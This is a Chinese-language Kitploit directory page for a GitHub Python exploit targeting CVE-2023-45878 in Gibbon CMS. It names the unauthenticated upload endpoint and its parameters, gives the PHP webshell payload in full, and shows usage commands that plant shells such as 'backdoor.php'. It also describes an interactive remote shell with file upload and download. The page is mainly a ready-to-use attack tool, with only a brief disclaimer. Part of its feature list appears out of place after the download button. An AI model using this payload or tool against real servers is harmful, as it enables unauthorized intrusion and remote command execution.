Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2023-45878 — 针对CVE-2023-45878的Python漏洞利用,这是Gibbon CMS中未认证的任意文件上传漏洞,通过上传webshell实现RCE并获得交互式shell访问。 | Kitploit
工具/GitHubGitHub/can0i0ever0enter/cve-2023-45878
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试远程访问工具
GitHubcan0i0ever0enter/cve-2023-45878

CVE-2023-45878

针对CVE-2023-45878的Python漏洞利用,这是Gibbon CMS中未认证的任意文件上传漏洞,通过上传webshell实现RCE并获得交互式shell访问。

查看仓库
311年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Gibbon CMS (CVE-2023-45878) 漏洞利用工具

此 Python 脚本用于利用 CVE-2023-45878,该漏洞存在于 Gibbon CMS 25.0.1 及更早版本中,是一个未经验证的任意文件上传漏洞,可导致远程代码执行(RCE)。

漏洞描述

CVE-2023-45878 存在于 Gibbon CMS 的 rubrics_visualise_saveAjax.php 端点中。该端点由于不需要身份验证且允许任意文件写入而存在漏洞。

该漏洞源于以下原因:

  • 未经验证的访问: modules/Rubrics/rubrics_visualise_saveAjax.php 端点无需任何身份验证即可访问。
  • 任意文件写入: 该端点接受 img、path 和 gibbonPersonID 的 POST 参数。
    • img 参数预期包含特殊格式的数据,其中逗号后的部分是一个 base64 编码的字符串。
    • path 参数(如果提供)将用作上传文件的目标文件名,相对于 Gibbon 安装目录。
    • 脚本解码 img 参数中的 base64 编码内容,并将其写入由 path 参数指定的文件。
  • 远程代码执行: 通过构造包含 base64 编码的 PHP 代码(例如 <?php echo "{VERIFY_TAG}"; if(isset($_GET["cmd"])) {echo @shell_exec($_GET["cmd"]);} ?>)的恶意 img 参数,并指定一个可通过 Web 服务器访问的 .php 文件的 path,攻击者可以上传 PHP webshell 并在易受攻击的服务器上实现远程代码执行。

脚本功能

此 Python 脚本自动化了 CVE-2023-45878 的利用过程。它执行以下操作:

  1. PHP Webshell 上传: 它构造一个恶意 POST 请求发送到 modules/Rubrics/rubrics_visualise_saveAjax.php,以上传一个 PHP webshell。Webshell 的有效负载为 <?php echo "{VERIFY_TAG}"; if(isset($_GET["cmd"])) {echo @shell_exec($_GET["cmd"]);} ?>,其中 {VERIFY_TAG} 是一个可自定义的标签。有效负载经过 base64 编码后通过 img 参数发送。
  2. Shell 验证: 它可以通过发送一个带有简单命令(例如 cmd=echo)的 GET 请求并检查响应中是否包含 VERIFY_TAG 来验证上传的 shell 是否可访问且功能正常。如果使用了 --verify 或 --interactive 选项,它还会对现有 shell 进行预检查。
  3. 交互式 Shell 模式: 如果 shell 已上传并验证(或在预检查中发现),脚本可以进入交互模式。该模式具有以下特性:
    • 检测远程操作系统(Windows/Linux)以定制命令。
    • 动态提示符,显示当前用户、主机名和远程工作目录(例如 user@host:cwd$)。
    • 内置处理 cd 命令以更改远程工作目录。
    • 特殊的客户端命令:
      • !help:显示交互式命令的帮助信息。
      • !upload <local_path> [remote_path]:通过 webshell 将本地文件上传到目标服务器。

使用方法

root@kitploit:~
python3 exploit.py <target_url> [options]

参数:

  • target_url:目标 Gibbon CMS 实例的基本 URL。如果未提供协议,脚本将自动添加 http://,并确保结尾有斜杠(例如 http://example.com/gibbon 或 example.com/gibbon)。

选项:

  • -s <shell_path>, --shell-path <shell_path>: 指定上传 shell 的目标路径和文件名(例如 shell.php、uploads/shell.php)。 如果省略,将在 Gibbon 基本目录中生成一个包含 8 个随机字符且扩展名为 .php 的文件名。 警告:确保指定的路径可由 Web 服务器写入且可通过 Web 访问。
  • -v, --verify: 尝试上传 shell 后,验证其是否正常工作。此选项还会触发预检查,检查是否已存在具有指定名称和标签的 shell;如果已存在,则跳过上传。
  • -i, --interactive: 进入交互式 Shell 模式。如果 shell 尚不存在(通过预检查验证),则会先上传并验证。
  • -t <tag>, --tag <tag>: 指定用于 webshell 有效负载中验证的自定义静态标签。(默认值:ExploitGibbon)。
  • --timeout <timeout>: 设置 HTTP 请求超时时间(秒)。(默认值:20)。

示例:

  • 基本漏洞利用,在 Gibbon 主目录中使用随机 shell 名称和默认标签:

    root@kitploit:~
    python3 exploit.py http://target.com/gibbon/
    
  • 漏洞利用,在 Gibbon 主目录中指定 shell 文件名 my_shell.php 并使用默认标签:

    root@kitploit:~
    python3 exploit.py http://target.com/gibbon/ -s my_shell.php
    
  • 漏洞利用,将 shell 文件 backdoor.php 上传到 uploads/,验证它,并使用自定义标签:

    root@kitploit:~
    python3 exploit.py http://target.com/gibbon/ -s uploads/backdoor.php -v -t MySecretTag123
    
  • 漏洞利用,上传 shell,并以默认标签和 30 秒超时进入交互模式:

    root@kitploit:~
    python3 exploit.py http://target.com/gibbon/ -s shell.php -i --timeout 30
    
  • 使用现有 shell 进入交互模式(脚本将预检查其存在性):

    root@kitploit:~
    python3 exploit.py http://target.com/gibbon/ -s shell.php -t ExploitGibbon -i
    
  • 仅验证名为 existing_shell.php 且使用默认标签的 shell 是否处于活动状态(如果未找到,将尝试上传):

    root@kitploit:~
    python3 exploit.py http://target.com/gibbon/ -s existing_shell.php -v
    

依赖要求

  • Python 3.7+(因为使用了 f-string、类型提示、dataclasses、pathlib)
  • requests 库:使用 pip install requests 安装
  • rich 库:使用 pip install rich 安装
  • prompt_toolkit 库(可选,用于增强的交互模式):使用 pip install prompt_toolkit 安装

免责声明

此脚本仅供教育和安全测试目的使用。使用风险自负,并且仅针对您拥有明确测试权限的系统。作者不对因使用此脚本而导致的任何误用或损害负责。未经授权利用漏洞是非法的且不道德。

参考链接

  • NVD 上的 CVE-2023-45878
  • Herolab 安全公告 USD-2023-0025
  • GibbonEdu Core 源代码(受影响版本 v25.0.01 的 rubrics_visualise_saveAjax.php)
下载工具
  • !download <remote_path> [local_path]:从目标服务器下载文件。
  • !lcd <path>:更改本地当前工作目录。
  • !ldir [path]:列出本地当前工作目录或指定路径中的文件和目录。
  • 如果可用,使用 prompt_toolkit 库以获得增强的命令行体验(历史记录、更好的编辑功能),否则退回到 Python 的内置 input()。
  • 文件操作: 交互式 !upload 命令重用易受攻击的端点来写入任意文件,而 !download 使用通过 webshell 执行的系统命令(如 base64 或 PowerShell 的 [Convert]::ToBase64String)来检索文件内容。